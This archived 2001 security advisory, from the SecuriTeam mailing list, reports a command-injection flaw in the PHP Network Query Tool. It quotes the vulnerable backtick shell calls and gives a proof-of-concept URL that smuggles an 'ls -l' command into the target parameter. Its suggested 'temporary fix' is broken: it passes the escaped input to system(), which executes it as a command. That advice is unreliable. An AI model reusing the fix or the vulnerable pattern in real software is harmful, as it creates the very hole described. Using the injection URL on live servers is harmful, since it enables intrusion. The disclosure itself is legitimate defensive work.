[UNIX] Network Query Tool Command Execution Vulnerability
From: support@securiteam.comDate: 10/23/01
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From: support@securiteam.com To: list@securiteam.com Subject: [UNIX] Network Query Tool Command Execution Vulnerability Message-Id: <20011022222847.A9345138C9@mail.der-keiler.de> Date: Tue, 23 Oct 2001 00:28:47 +0200 (CEST)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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Network Query Tool Command Execution Vulnerability
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SUMMARY
<http://www.shat.net/php/nqt/> Network Query Tool (NQT) is a one-stop
solution for getting information about a domain or IP address. Instead of
manually using different UNIX commands or visiting numerous websites to
"investigate" a host, just load Network Query Tool and enter the hostname
or IP. A security vulnerability in the product allows attackers to cause
it to execute arbitrary UNIX commands.
DETAILS
Network Query tool does not check for special meta-characters like:
&;`'"|*?~^()[]{}$. This allows any user to execute UNIX commands on web
server.
The problem can be found here:
if (! $msg .= trim(nl2br(`ping -c5 $target`)))
And here :
if (! $msg .= trim(nl2br(`dig any $target`)))
And here :
if (! $msg .= trim(nl2br(`/usr/sbin/traceroute $target`)))
Exploit:
Execute 'ls -l' command.
http://www.example.com/network_query.php?
portNum=80&queryType=all&target=www.someserver.com%3Bls+-l&Submit=Do+It
(NOTE: URL has been split into two lines)
Status:
The program's coders have been alerted.
Temporary fix:
Use this at the beginning of your PHP script:
$target = system(escapeshellcmd($target));
ADDITIONAL INFORMATION
The information has been provided by
<mailto:aurelien.cabezon@iSecureLabs.com> Cabezon Aur?lien.
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